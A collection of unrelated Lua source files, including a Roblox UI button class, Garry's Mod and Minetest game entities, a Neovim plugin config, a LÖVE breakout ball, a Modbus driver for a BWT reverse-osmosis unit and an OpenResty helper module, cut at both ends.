if LogicalAdornFrame.AbsoluteSize.Y == 0 or not self.BottomRightCutEnabled then
self.BorderCutFrame:RemoveCut("Bottom","Right")
else
local BorderSizeRelative = (BorderAdorn.AbsoluteSize.Y/LogicalAdornFrame.AbsoluteSize.Y) - 1
local BorderCornerCutRelative = (CORNER_CUT_BACKGROUND_RELATIVE/math.sqrt(2)) / (1 + BorderSizeRelative)
self.BorderCutFrame:CutCorner("Bottom","Right",UDim2.new(BorderCornerCutRelative,0,BorderCornerCutRelative,0),"RelativeYY")
end
end))
table.insert(self.__Events,GamepadIcon:GetPropertyChangedSignal("IconVisible"):Connect(function()
self:__UpdateColors()
end))
--Set the defaults.
self.Size = UDim2.new(0,200,0,50)
self.BackgroundColor3 = Color3.new(0.8,0.8,0.8)
self.BorderColor3 = Color3.new(0,0,0)
self.BorderSizeScale = 0.2
self.BackgroundTransparency = 0
self.BorderTransparency = 0
self.AutoButtonColor = true
end
--[[
Creates an __index metamethod for an object. Used to
setup custom indexing.
--]]
function NexusButton:__createindexmethod(Object,Class,RootClass)
--Get the base method.
local BaseIndexMethod = self.super:__createindexmethod(Object,Class,RootClass)
--Return a wrapped method.
return function(MethodObject,Index)
--Return the base return if it exists.
local BaseReturn = BaseIndexMethod(MethodObject,Index)
if BaseReturn ~= nil then
return BaseReturn
end
--Return an instance property.
local LogicalAdornFrame = rawget(Object.object,"LogicalAdornFrame")
if LogicalAdornFrame then
--Get the value in a protected call.
local Worked,Return = pcall(function()
local Value = LogicalAdornFrame[Index]
if Value ~= nil then
return Value
end
end)
--Return the value.
if Worked and Return ~= nil then
return Return
end
end
end
end
--[[
Updates the colors of the button.
--]]
function NexusButton:__UpdateColors()
local BackgroundColor3 = self.BackgroundColor3
local ColorMultiplier = 1
--Determine the color multiplier.
if self.AutoButtonColor then
if self.__Clicked then
ColorMultiplier = CLICK_COLOR_MULTIPLIER
elseif self.__Hovered then
ColorMultiplier = HOVER_COLOR_MULTIPLIER
end
end
--Add the section for the gamepad icon if it is visible.
if self.GamepadIcon.IconVisible then
local SizeX,SizeY = self.LogicalAdornFrame.AbsoluteSize.X,self.LogicalAdornFrame.AbsoluteSize.Y
local ColorPos = 1 - (SizeY/(SizeX ~= 0 and SizeX or 1))
if typeof(BackgroundColor3) == "ColorSequence" then
BackgroundColor3 = TruncateColorSequence(BackgroundColor3,ColorPos,CONTROLLER_SECTION_COLOR)
elseif typeof(BackgroundColor3) == "Color3" then
if ColorPos ~= 0 and ColorPos ~= 1 then
BackgroundColor3 = ColorSequence.new({
ColorSequenceKeypoint.new(0,BackgroundColor3),
ColorSequenceKeypoint.new(ColorPos,CONTROLLER_SECTION_COLOR),
ColorSequenceKeypoint.new(1,CONTROLLER_SECTION_COLOR),
})
end
end
end
--Multiply the color.
if ColorMultiplier ~= 1 then
if typeof(BackgroundColor3) == "Color3" then
BackgroundColor3 = MultiplyColor3(BackgroundColor3,ColorMultiplier)
elseif typeof(BackgroundColor3) == "ColorSequence" then
BackgroundColor3 = MultiplyColorSequence(BackgroundColor3,ColorMultiplier)
end
end
--Set the background color.
self.BackgroundCutFrame.BackgroundColor3 = BackgroundColor3
end
--[[
Updates the cuts.
--]]
function NexusButton:__UpdateCuts()
local BorderSizeY,BackgroundSizeY = self.BorderAdorn.AbsoluteSize.Y,self.LogicalAdornFrame.AbsoluteSize.Y
--Set the background cuts.
local BackgroundInnerCutRelative = (CORNER_CUT_BACKGROUND_RELATIVE/math.sqrt(2)) / (BackgroundSizeY/BorderSizeY)
if self.BottomRightCutEnabled then
self.BackgroundCutFrame:CutCorner("Bottom","Right",UDim2.new(BackgroundInnerCutRelative,0,BackgroundInnerCutRelative,0),"RelativeYY")
else
self.BackgroundCutFrame:RemoveCut("Bottom","Right")
end
if self.TopLeftCutEnabled then
self.BackgroundCutFrame:CutCorner("Top","Left",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE,0,CORNER_CUT_BACKGROUND_RELATIVE,0),"RelativeYY")
else
self.BackgroundCutFrame:RemoveCut("Top","Left")
end
--Set the border cuts.
local BorderMultiplier = BackgroundSizeY/BorderSizeY
if self.BottomRightCutEnabled then
self.BorderCutFrame:CutCorner("Bottom","Right",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0,CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0),"RelativeYY")
else
self.BorderCutFrame:RemoveCut("Bottom","Right")
end
if self.TopLeftCutEnabled then
self.BorderCutFrame:CutCorner("Top","Left",UDim2.new(CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0,CORNER_CUT_BACKGROUND_RELATIVE * BorderMultiplier,0),"RelativeYY")
else
self.BorderCutFrame:RemoveCut("Top","Left")
end
end
--[[
Returns the adorn frame to parent frames to the button.
--]]
function NexusButton:GetAdornFrame()
return self.ContentsAdorn
end
--[[
Sets the controller icon for the button.
--]]
function NexusButton:SetControllerIcon(KeyCode)
self.GamepadIcon:SetIcon(KeyCode)
end
--[[
Maps a key input to a mouse input for clicking.
--]]
function NexusButton:MapKey(KeyCode,MouseInput)
self.AdornButton:MapKey(KeyCode,MouseInput)
end
--[[
Unmaps a key input to a mouse input for clicking.
--]]
function NexusButton:UnmapKey(KeyCode)
self.AdornButton:UnmapKey(KeyCode)
end
--[[
Destroys the frame and disconnects the events.
--]]
function NexusButton:Destroy()
self.super:Destroy()
--Disconnect the events.
for _,Event in pairs(self.__Events) do
Event:Disconnect()
end
self.__Events = {}
--Destory the frames.
self.BackgroundCutFrame:Destroy()
self.BorderCutFrame:Destroy()
self.GamepadIcon:Destroy()
self.AdornButton:Destroy()
end
return NexusButton |
--[[
Name: init.lua
For: SantosRP
By: TalosLife
]]--
AddCSLuaFile "cl_init.lua"
AddCSLuaFile "shared.lua"
include "shared.lua"
local acceptedItems = {
["Dry Cannabis (Low Quality)"] = true,
["Dry Cannabis (Medium Quality)"] = true,
["Dry Cannabis (High Quality)"] = true,
}
function ENT:Initialize()
self:SetModel( "models/props_junk/MetalBucket02a.mdl" )
self:PhysicsInit( SOLID_VPHYSICS )
self:SetMoveType( MOVETYPE_VPHYSICS )
self:SetSolid( SOLID_VPHYSICS )
self:SetUseType( SIMPLE_USE )
self:SetTrigger( true )
self:PhysWake()
self.m_entWeed = ents.Create( "prop_dynamic" )
self.m_entWeed:SetModel( "models/freeman/drugbale_large.mdl" )
self.m_entWeed:SetPos( self:LocalToWorld(Vector(-0.090304, -0.291238, -1.003891)) )
self.m_entWeed:SetAngles( self:LocalToWorldAngles(Angle(-0.137, -83.112, -0.461)) )
self.m_entWeed:SetNoDraw( true )
self.m_entWeed:SetParent( self )
self:DeleteOnRemove( self.m_entWeed )
self:NextThink( CurTime() +1 )
end
function ENT:Think()
if not self.m_intStartTrimTime then return end
if CurTime() > self.m_intStartTrimTime +self.TrimTime then
self.m_intGiveAmount = GAMEMODE.Inv:GetItem( self.m_strItemID ).TrimmerGiveAmount or 1
self.m_strItemID = GAMEMODE.Inv:GetItem( self.m_strItemID ).TrimmerGiveItem
self.m_intStartTrimTime = nil
self:SetRunning( false )
self.m_entWeed:SetNoDraw( false )
end
self:NextThink( 0 )
return
end
function ENT:Use( pPlayer )
if GAMEMODE.Jobs:GetPlayerJobID( pPlayer ) == JOB_POLICE then
if self:GetPlayerOwner() ~= pPlayer and not GAMEMODE.Buddy:IsItemShared( pPlayer, self:GetPlayerOwner() ) then
self:Remove()
local rand = math.random( GAMEMODE.Config.MinDrugConfiscatePrice, GAMEMODE.Config.MaxDrugConfiscatePrice )
pPlayer:AddNote( "You confiscated illegal drug equipment!" )
pPlayer:AddNote( "A $".. string.Comma(rand).. " bonus has been transferred to your bank account." )
pPlayer:AddBankMoney( rand )
return
end
end
if self.m_strItemID and not self.m_intStartTrimTime then
if GAMEMODE.Inv:GivePlayerItem( pPlayer, self.m_strItemID, self.m_intGiveAmount ) then
pPlayer:AddNote( "You collected ".. self.m_intGiveAmount.. " ".. self.m_strItemID.. " from the trimmer." )
self.m_strItemID = nil
self.m_intGiveAmount = nil
self.m_entWeed:SetNoDraw( true )
end
end
end
function ENT:StartTouch( entOther )
if self.m_strItemID then return end
if entOther.m_bTouchHandled then return end
if not entOther.ItemID then return end
if not acceptedItems[entOther.ItemID] then return end
self.m_strItemID = entOther.ItemID
self.m_intStartTrimTime = CurTime()
self:SetRunning( true )
entOther:Remove()
entOther.m_bTouchHandled = true
end
function ENT:CanPlayerPickup( pPlayer, bCanUse )
if self.m_strItemID then
return false
end
return bCanUse
end
function ENT:CanPlayerUse( pPlayer )
return true
end
function ENT:CanSendToLostAndFound()
return true
end |
StormFox_SOUND = StormFox_SOUND or {}
if SERVER then
util.AddNetworkString("StormFox - Sound")
function StormFox.CLEmitSound(snd,ply,vol)
net.Start("StormFox - Sound")
net.WriteString(snd)
net.WriteFloat(vol or 1)
if ply then
net.Send(ply)
else
net.Broadcast()
end
end
else
net.Receive("StormFox - Sound",function(len)
if not LocalPlayer() then return end
if not IsValid(LocalPlayer()) then return end
local snd = net.ReadString()
local vol = net.ReadFloat() or 1
if not snd then return end
LocalPlayer():EmitSound(snd,75,100,vol)
end)
end |
local M = {}
M.config = function()
vim.g.indent_blankline_filetype_exclude = {
"help",
"startify",
"dashboard",
"packer",
"neogitstatus",
"NvimTree",
"Trouble",
}
vim.g.indentLine_enabled = 1
vim.g.indent_blankline_char = "▎"
vim.g.indent_blankline_show_trailing_blankline_indent = false
vim.g.indent_blankline_show_first_indent_level = true
vim.g.indent_blankline_use_treesitter = true
vim.g.indent_blankline_show_current_context = true
vim.g.indent_blankline_context_patterns = {
"class",
"return",
"function",
"method",
"^if",
"^while",
"jsx_element",
"^for",
"^object",
"^table",
"block",
"arguments",
"if_statement",
"else_clause",
"jsx_element",
"jsx_self_closing_element",
"try_statement",
"catch_clause",
"import_statement",
"operation_type",
}
-- HACK: work-around for https://github.com/lukas-reineke/indent-blankline.nvim/issues/59
vim.wo.colorcolumn = "99999"
-- vim.cmd [[highlight IndentBlanklineIndent1 guifg=#E06C75 gui=nocombine]]
-- vim.cmd [[highlight IndentBlanklineIndent2 guifg=#E5C07B gui=nocombine]]
-- vim.cmd [[highlight IndentBlanklineIndent3 guifg=#98C379 gui=nocombine]]
-- vim.cmd [[highlight IndentBlanklineIndent4 guifg=#56B6C2 gui=nocombine]]
-- vim.cmd [[highlight IndentBlanklineIndent5 guifg=#61AFEF gui=nocombine]]
-- vim.cmd [[highlight IndentBlanklineIndent6 guifg=#C678DD gui=nocombine]]
-- vim.opt.list = true
-- vim.opt.listchars:append "space:⋅"
-- vim.opt.listchars:append "space:"
-- vim.opt.listchars:append "eol:↴" -- vim.g.indent_blankline_filetype_exclude = { "help", "terminal", "dashboard" }
-- vim.g.indent_blankline_buftype_exclude = { "terminal" }
-- vim.g.indent_blankline_char = "▏"
-- vim.g.indent_blankline_show_trailing_blankline_indent = false
-- vim.g.indent_blankline_show_first_indent_level = true
vim.g.indent_blankline_space_char_blankline = " "
vim.g.indent_blankline_show_current_context = true
vim.g.indent_blankline_show_current_context_start = true
end
return M
|
local ball = Class{ type = 'ball' }
function ball:init (x, y)
self.destroyed = false
if x == nil then
self.x = love.math.random(1,2) == 1 and 258 or 288
self.y = VIRTUAL_HEIGHT-70
self.dx = love.math.random(90, 360) * (self.x == 258 and -1 or 1)
self.dy = -180
self.catched = true
else
self.x = x
self.y = y
self.dx = love.math.random(-180, 180)
self.dy = -180
self.catched = false
end
self._dieHnd = Signal.register('die', function () self:destroy() end)
self._moveHnd = Signal.register('move', function (dx)
if self.catched then
self.x = self.x + dx
World:update(self, self.x, self.y)
end
end)
Timer.after(0.01, function ()
if self.destroyed then return end
self._pwrHnd = Signal.register('powerup', function (power)
if power == 'catch' then
self.catchable = true
Sounds.up:seek(0)
Sounds.up:play()
elseif power == 'slow' then
self.catchable = false
self.catched = false
self.dy = 180 * (self.dy < 0 and -1 or 1)
elseif power == 'laser' or power == 'enlarge' or power == 'duplicate' then
self.catchable = false
self.catched = false
end
end)
end)
World:add(self, self.x, self.y, 10, 10)
end
function ball:update (dt)
if self.destroyed then return end
if self.catched then
if Input:pressed('action') then
self.catched = false
Sounds.catch:play()
end
else
self.x = self.x + self.dx*dt
self.y = self.y + self.dy*dt
local actualX, actualY, cols, len = World:move(self, self.x, self.y, function (_, other)
if other.type == 'edge' or other.type == 'paddle' or other.type == 'brick' then
return 'bounce'
elseif other.type == 'deadzone' then
return 'slide'
else
return nil
end
end)
self.x = actualX
self.y = actualY
for i = 1, len do
local sprite = cols[i].other
if sprite.type == 'deadzone' then
self:destroy()
Signal.emit('deadball')
elseif sprite.type == 'paddle' then
self.dx = sprite:calculateDelta(actualX)
if self.dy > 0 then self.dy = -self.dy end
if self.catchable then
self.catched = true
Sounds.select:play()
else
Sounds.up:play()
end
elseif sprite.type == 'brick' then
Signal.emit('points', sprite.points)
sprite:hit()
self.dy = math.min(540, math.max(-540, self.dy * 1.1))
end
if cols[i].bounce then
if sprite.type ~= 'paddle' then
if (self.dx < 0 and cols[i].bounce.x > cols[i].touch.x) or (self.dx > 0 and cols[i].bounce.x < cols[i].touch.x) then self.dx = -self.dx end
if (self.dy < 0 and cols[i].bounce.y > cols[i].touch.y) or (self.dy > 0 and cols[i].bounce.y < cols[i].touch.y) then self.dy = -self.dy end
end
end
end
end
end
function ball:render ()
if self.destroyed then return end
love.graphics.draw(Graphics.ball, self.x, self.y)
end
function ball:destroy ()
self.destroyed = true
if World:hasItem(self) then World:remove(self) end
if self._pwrHnd then Signal.remove('powerup', self._pwrHnd); self._pwrHnd = nil end
if self._dieHnd then Signal.remove('die', self._dieHnd); self._dieHnd = nil end
if self._moveHnd then Signal.remove('move', self._moveHnd); self._moveHnd = nil end
end
return ball
|
--[[
Shooter Flare Gun [shooter_flaregun]
Copyright (C) 2013-2019 stujones11, Stuart Jones
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
]]--
minetest.register_craftitem("shooter_flaregun:flare", {
description = "Flare",
inventory_image = "shooter_flare_inv.png",
})
minetest.register_node("shooter_flaregun:flare_light", {
drawtype = "glasslike",
tiles = {"shooter_flare_light.png"},
paramtype = "light",
groups = {not_in_creative_inventory=1},
drop = "",
walkable = false,
buildable_to = true,
sunlight_propagates = true,
light_source = 14,
pointable = false,
})
minetest.register_abm({
nodenames = "shooter_flaregun:flare_light",
interval = 5,
chance = 1,
action = function(pos)
local time = os.time()
local meta = minetest.get_meta(pos)
local init_time = meta:get_int("init_time") or 0
if time > init_time + 30 then
local id = meta:get_int("particle_id")
if id then
minetest.delete_particlespawner(id)
end
minetest.remove_node(pos)
end
end,
})
minetest.register_entity("shooter_flaregun:flare_entity", {
physical = true,
timer = 0,
visual = "cube",
visual_size = {x=1/8, y=1/8},
textures = {
"shooter_flare.png",
"shooter_flare.png",
"shooter_flare.png",
"shooter_flare.png",
"shooter_flare.png",
"shooter_flare.png",
},
glow = 14,
collisionbox = {-1/16,-1/16,-1/16, 1/16,1/16,1/16},
on_activate = function(self, staticdata)
if staticdata == "expired" then
self.object:remove()
end
end,
on_step = function(self, dtime)
self.timer = self.timer + dtime
if self.timer > 0.2 then
local pos = self.object:get_pos()
local below = {x=pos.x, y=pos.y - 1, z=pos.z}
local node = minetest.get_node(below)
if node.name ~= "air" then
self.object:set_velocity({x=0, y=-10, z=0})
self.object:set_acceleration({x=0, y=0, z=0})
if minetest.get_node(pos).name == "air" and
node.name ~= "default:water_source" and
node.name ~= "default:water_flowing" then
minetest.place_node(pos, {name="shooter_flaregun:flare_light"})
local meta = minetest.get_meta(pos)
pos.y = pos.y - 0.1
local id = minetest.add_particlespawner({
amount = 1000,
time = 30,
minpos = pos,
maxpos = pos,
minvel = {x=-1, y=1, z=-1},
maxvel = {x=1, y=1, z=1},
minacc = {x=2, y=-2, z=-2},
maxacc = {x=2, y=-2, z=2},
minexptime = 0.1,
maxexptime = 0.75,
minsize = 1,
maxsize = 8,
collisiondetection = false,
texture = "shooter_flare_particle.png",
glow = 14,
})
meta:set_int("particle_id", id)
meta:set_int("init_time", os.time())
local sound = minetest.sound_play("shooter_flare_burn", {
pos = pos,
loop = true,
max_hear_distance = 8,
})
minetest.after(30, function(...)
minetest.sound_stop(...)
end, sound)
end
self.object:remove()
end
self.timer = 0
end
end,
get_staticdata = function()
return "expired"
end,
})
minetest.register_tool("shooter_flaregun:flaregun", {
description = "Flare Gun",
inventory_image = "shooter_flaregun.png",
on_use = function(itemstack, user)
local inv = user:get_inventory()
if not inv:contains_item("main", "shooter_flaregun:flare") then
minetest.sound_play("shooter_click", {object=user})
return itemstack
end
if not minetest.setting_getbool("creative_mode") then
inv:remove_item("main", "shooter:flare 1")
itemstack:add_wear(65535 / 100)
end
local pos = user:get_pos()
local dir = user:get_look_dir()
local yaw = user:get_look_horizontal()
if pos and dir and yaw then
pos.y = pos.y + 1.5
local obj = minetest.add_entity(pos, "shooter_flaregun:flare_entity")
if obj then
minetest.sound_play("shooter_flare_fire", {object=obj})
obj:set_velocity(vector.multiply(dir, 16))
obj:set_acceleration({x=dir.x * -3, y=-10, z=dir.z * -3})
obj:set_yaw(yaw + math.pi / 2)
end
end
return itemstack
end,
})
if shooter.config.enable_crafting == true then
minetest.register_craft({
output = "shooter_flaregun:flare",
type = "shapeless",
recipe = {"shooter:gunpowder", "default:paper"},
})
minetest.register_craft({
output = "shooter_flaregun:flaregun",
recipe = {
{"default:copper_ingot", "default:copper_ingot", "default:copper_ingot"},
{"", "", "default:steel_ingot"}
},
})
end
--Backwards compatibility
minetest.register_alias("shooter:flaregun", "shooter_flaregun:flaregun")
minetest.register_alias("shooter:flare", "shooter_flaregun:flare")
|
do
local corofn
function corofn()
for i=1,10,1 do
print2(i)
coroutine.yield()
end
end
coro = coroutine.create(corofn)
end
--print2(coroutine.status(coro))
--coroutine.resume(coro)
do
closeBuffer()
switchToBuffer("dome2.lua")
end
|
VENDOR = "BWT"
MODEL = "THERO 120 H2 MB"
-- Configuration variables must be also defined
-- in `write_configuration` command arguments in manifest.yml
IP_ADDRESS_CONFIG = "ip_address"
UNIT_ID_CONFIG = "modbus_unit_id"
-- Initiate device firmware. Called at the end of the file.
function main()
scheduler.add(30000, send_properties)
scheduler.add(1000, send_telemetry)
config.init({
[IP_ADDRESS_CONFIG] = { type = 'string', required = true },
[UNIT_ID_CONFIG] = { type = 'number', required = true },
})
enapter.register_command_handler('reset', command_reset)
enapter.register_command_handler('control_ro', command_control_ro)
end
function send_properties()
local properties = {}
local device, _ = connect_device()
if device then
local data = device:read_inputs(26, 1)
if data then
properties.fw_version = tostring(data[1] >> 8).."."..tostring(data[1] & 0xff)
end
local data = device:read_inputs(27, 1)
if data then
properties.hw_version = tostring(data[1] >> 8).."."..tostring(data[1] & 0xff)
end
else
enapter.log("Modbus TCP connection error", 'error')
end
properties.vendor = VENDOR
properties.model = MODEL
properties.ip_address = device.addr
properties.unit_id = device.unit_id
enapter.send_properties(properties)
end
function send_telemetry()
local device, err = connect_device()
if not device then
if err == 'cannot_read_config' then
enapter.send_telemetry({ status = 'error', alerts = {'cannot_read_config'} })
elseif err == 'not_configured' then
enapter.send_telemetry({ status = 'ok', alerts = {'not_configured'} })
end
return
end
local telemetry = {}
local alerts = {}
local data = device:read_inputs(25, 1)
if data then
table.insert(alerts, get_service_status(data[1]))
end
local data = device:read_inputs(0, 1)
if data then
local ro_status, alert = get_ro_status(data[1])
telemetry.ro_status = ro_status
if ro_status == "alarm" or ro_status == "unknown" then
telemetry.status = 'error'
elseif ro_status == "warning" or ro_status == "dripping_faucet_recovery_attempt" then
telemetry.status = 'warning'
else
telemetry.status = 'ok'
end
if alert then
table.insert(alerts, alert)
end
end
local data = device:read_inputs(2, 1)
if data then
local alarms = get_alarms(data[1])
alerts = table.move(alarms, 1, #alarms, #alerts + 1, alerts)
end
local data = device:read_inputs(3, 1)
if data then
telemetry.outlet_permeate_temperature = data[1] / 10.0
end
local data = device:read_inputs(4, 1)
if data then
telemetry.outlet_flow = data[1]
end
local data = device:read_inputs(5, 1)
if data then
telemetry.inlet_flow = data[1]
end
local data = device:read_inputs(7, 1)
if data then
telemetry.demin_tank_pressure = data[1] / 10.0
end
local data = device:read_inputs(8, 1)
if data then
telemetry.demin_out_conducibility = data[1]
end
local data = device:read_inputs(9, 1)
if data then
telemetry.membrane_out_conducibility = data[1]
end
local data = device:read_inputs(10, 2)
if data then
telemetry.demin_partial_counter = toint32(data)
end
local data = device:read_inputs(12, 2)
if data then
telemetry.ro_membrane_partial_counter = toint32(data)
end
local data = device:read_inputs(14, 2)
if data then
telemetry.demin_total_counter = toint32(data)
end
local data = device:read_inputs(16, 2)
if data then
telemetry.ro_membrane_total_counter = toint32(data)
end
local data = device:read_inputs(18, 1)
if data then
telemetry.ro_pump_service_time = data[1]
end
local data = device:read_inputs(19, 2)
if data then
telemetry.demin_capacity = toint32(data)
end
local data = device:read_inputs(21, 2)
if data then
telemetry.membrane_capacity = toint32(data)
end
local data = device:read_inputs(23, 1)
if data then
telemetry.membrane_day_counter_service_limit = data[1]
end
local data = device:read_inputs(24, 1)
if data then
telemetry.ro_membrane_life_days = data[1]
end
local data = device:read_inputs(28, 1)
if data then
telemetry.conductivity_unit = data[1]
end
telemetry.alerts = alerts
enapter.send_telemetry(telemetry)
end
function get_ro_status(value)
if value == 1 then
return "ready"
elseif value == 2 then
return "working"
elseif value >= 3 and value <= 7 or value == 60 then
return "alarm"
elseif value == 9 then
return "rinse"
elseif value == 10 then
return "dripping_faucet_recovery_attempt"
elseif value == 51 then
return "pause"
elseif value == 53 or value == 61 then
return "warning"
elseif value == 54 then
return "alarm", "internal_pressure_sensor_failure"
else
return "unknown"
end
end
function get_service_status(value)
local status = {}
status[0] = nil
status[1] = "A"
status[2] = "B"
status[3] = "C"
status[4] = "AB"
status[5] = "AC"
status[6] = "BC"
status[7] = "ABC"
status[49] = "D"
status[50] = "AD"
status[51] = "BD"
status[52] = "CD"
status[53] = "ABD"
status[54] = "ACD"
status[55] = "BCD"
status[56] = "ABCD"
return status[value]
end
function get_alarms(value)
local alerts = {}
if value & 0x0001 ~= 0 then
table.insert(alerts, "RO_pump_error")
end
if value & 0x0002 ~= 0 then
table.insert(alerts, "RO_pump_thermal_protection")
end
if value & 0x0004 ~= 0 then
table.insert(alerts, "internal_leak_detected")
end
if value & 0x0008 ~= 0 then
table.insert(alerts, "wcf_too_low")
end
if value & 0x0010 ~= 0 then
table.insert(alerts, "outlet_pressure_transducer_failure")
end
if value & 0x0040 ~= 0 then
table.insert(alerts, "dripping_faucet")
end
if value & 0x0080 ~= 0 then
table.insert(alerts, "inlet_flow_meter")
end
if value & 0x1000 ~= 0 then
table.insert(alerts, "membrane_conductivity_too_high")
end
if value & 0x2000 ~= 0 then
table.insert(alerts, "demin_conductivity_too_high")
end
return alerts
end
-- Holds global device connection
local device
function connect_device()
if device then return device, nil end
local values, err = config.read_all()
if err then
enapter.log('cannot read config: '..tostring(err), 'error')
return nil, 'cannot_read_config'
else
local address, unit_id = values[IP_ADDRESS_CONFIG], values[UNIT_ID_CONFIG]
if not address or not unit_id then
return nil, 'not_configured'
else
-- Declare global variable to reuse connection between function calls
device = BwtTheroModbusTcp.new(address, tonumber(unit_id))
device:connect()
return device, nil
end
end
end
function command_reset(ctx, args)
local value
if args.value == "Dripping facet alarm" then
value = 0x0040
elseif args.value == "Membrane partial counter" then
value = 0x1000
elseif args.value == "Demin partial counter" then
value = 0x2000
else
ctx.error("Unknown counter or alarm is selected")
end
if device then
local err = device:write_holding(0, value)
if err == 0 then
return "Reset command is sent"
else
ctx.error("Command failed, Modbus TCP error: "..tostring(err))
end
else
ctx.error("Device connection is not configured")
end
end
function command_control_ro(ctx, args)
local value
if args.enable == true then
value = 0
elseif args.enable == false then
value = 1
else
ctx.error("Invalid value to write. Must be true or false")
end
if device then
local err = device:write_holding(1, value)
if err == 0 then
return "Reset counter command is sent"
else
ctx.error("Command failed, Modbus TCP error: "..tostring(err))
end
else
ctx.error("Device connection is not configured")
end
end
function toint32(data)
return string.unpack(">I4", string.pack(">I2I2", data[1], data[2]))
end
---------------------------------
-- Stored Configuration API
---------------------------------
config = {}
-- Initializes config options. Registers required UCM commands.
-- @param options: key-value pairs with option name and option params
-- @example
-- config.init({
-- address = { type = 'string', required = true },
-- unit_id = { type = 'number', default = 1 },
-- reconnect = { type = 'boolean', required = true }
-- })
function config.init(options)
assert(next(options) ~= nil, 'at least one config option should be provided')
assert(not config.initialized, 'config can be initialized only once')
for name, params in pairs(options) do
local type_ok = params.type == 'string' or params.type == 'number' or params.type == 'boolean'
assert(type_ok, 'type of `'..name..'` option should be either string or number or boolean')
end
enapter.register_command_handler('write_configuration', config.build_write_configuration_command(options))
enapter.register_command_handler('read_configuration', config.build_read_configuration_command(options))
config.options = options
config.initialized = true
end
-- Reads all initialized config options
-- @return table: key-value pairs
-- @return nil|error
function config.read_all()
local result = {}
for name, _ in pairs(config.options) do
local value, err = config.read(name)
if err then
return nil, 'cannot read `'..name..'`: '..err
else
result[name] = value
end
end
return result, nil
end
-- @param name string: option name to read
-- @return string
-- @return nil|error
function config.read(name)
local params = config.options[name]
assert(params, 'undeclared config option: `'..name..'`, declare with config.init')
local ok, value, ret = pcall(function()
return storage.read(name)
end)
if not ok then
return nil, 'error reading from storage: '..tostring(value)
elseif ret and ret ~= 0 then
return nil, 'error reading from storage: '..storage.err_to_str(ret)
elseif value then
return config.deserialize(name, value), nil
else
return params.default, nil
end
end
-- @param name string: option name to write
-- @param val string: value to write
-- @return nil|error
function config.write(name, val)
local ok, ret = pcall(function()
return storage.write(name, config.serialize(name, val))
end)
if not ok then
return 'error writing to storage: '..tostring(ret)
elseif ret and ret ~= 0 then
return 'error writing to storage: '..storage.err_to_str(ret)
end
end
-- Serializes value into string for storage
function config.serialize(_, value)
if value then
return tostring(value)
else
return nil
end
end
-- Deserializes value from stored string
function config.deserialize(name, value)
local params = config.options[name]
assert(params, 'undeclared config option: `'..name..'`, declare with config.init')
if params.type == 'number' then
return tonumber(value)
elseif params.type == 'string' then
return value
elseif params.type == 'boolean' then
if value == 'true' then
return true
elseif value == 'false' then
return false
else
return nil
end
end
end
function config.build_write_configuration_command(options)
return function(ctx, args)
for name, params in pairs(options) do
if params.required then
assert(args[name], '`'..name..'` argument required')
end
local err = config.write(name, args[name])
if err then ctx.error('cannot write `'..name..'`: '..err) end
end
end
end
function config.build_read_configuration_command(_config_options)
return function(ctx)
local result, err = config.read_all()
if err then
ctx.error(err)
else
return result
end
end
end
---------------------------------
-- BWT Thero ModbusTCP API
---------------------------------
BwtTheroModbusTcp = {}
function BwtTheroModbusTcp.new(addr, unit_id)
assert(type(addr) == 'string', 'addr (arg #1) must be string, given: '..inspect(addr))
assert(type(unit_id) == 'number', 'unit_id (arg #2) must be number, given: '..inspect(unit_id))
local self = setmetatable({}, { __index = BwtTheroModbusTcp })
self.addr = addr
self.unit_id = unit_id
return self
end
function BwtTheroModbusTcp:connect()
self.modbus = modbustcp.new(self.addr)
end
function BwtTheroModbusTcp:read_inputs(address, number)
assert(type(address) == 'number', 'address (arg #1) must be number, given: '..inspect(address))
assert(type(number) == 'number', 'number (arg #1) must be number, given: '..inspect(number))
local registers, err = self.modbus:read_inputs(self.unit_id, address, number, 1000)
if err and err ~= 0 then
enapter.log('Register '..tostring(address)..' read error: '..err, 'error')
if err == 1 then
-- Sometimes timeout happens and it may break underlying Modbus client,
-- this is a temporary workaround which manually reconnects.
self:connect()
end
return nil
end
return registers
end
function BwtTheroModbusTcp:write_holding(address, number)
assert(type(address) == 'number', 'address (arg #1) must be number, given: '..inspect(address))
assert(type(number) == 'number', 'number (arg #1) must be number, given: '..inspect(number))
local err = self.modbus:write_holding(self.unit_id, address, number, 1000)
if err ~= 0 then
enapter.log('Register '..tostring(address)..' write error: '..err, 'error')
if err == 1 then
-- Sometimes timeout happens and it may break underlying Modbus client,
-- this is a temporary workaround which manually reconnects.
self:connect()
end
end
return err
end
main()
|
local sub = string.sub
local tonumber = tonumber
local redis = require 'resty.redis'
local env = require 'resty.env'
local resty_resolver = require 'resty.resolver'
local resty_balancer = require 'resty.balancer'
local resty_url = require 'resty.url'
local _M = {} -- public interface
local redis_conf = {
timeout = 3000, -- 3 seconds
keepalive = 10000, -- milliseconds
poolsize = 1000 -- # connections
}
-- private
-- Logging Helpers
function _M.show_table(t)
local indent = 0 --arg[1] or 0
local indentStr=""
local msg
for _ = 1,indent do indentStr=indentStr.." " end
for k,v in pairs(t) do
if type(v) == "table" then
msg = indentStr .. _M.show_table(v or '', indent+1)
else
msg = indentStr .. k .. " => " .. v
end
_M.log_message(msg)
end
end
function _M.log_message(str)
ngx.log(0, str)
end
function _M.newline()
ngx.log(0," --- ")
end
function _M.log(content)
if type(content) == "table" then
_M.log_message(_M.show_table(content))
else
_M.log_message(content)
end
_M.newline()
end
-- End Logging Helpers
-- Table Helpers
function _M.keys(t)
local n=0
local keyset = {}
for k,_ in pairs(t) do
n=n+1
keyset[n]=k
end
return keyset
end
-- End Table Helpers
function _M.dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then
k = '"'..k..'"'
end
s = s .. '['..k..'] = ' .. _M.dump(v) .. ','
end
return s .. '} '
else
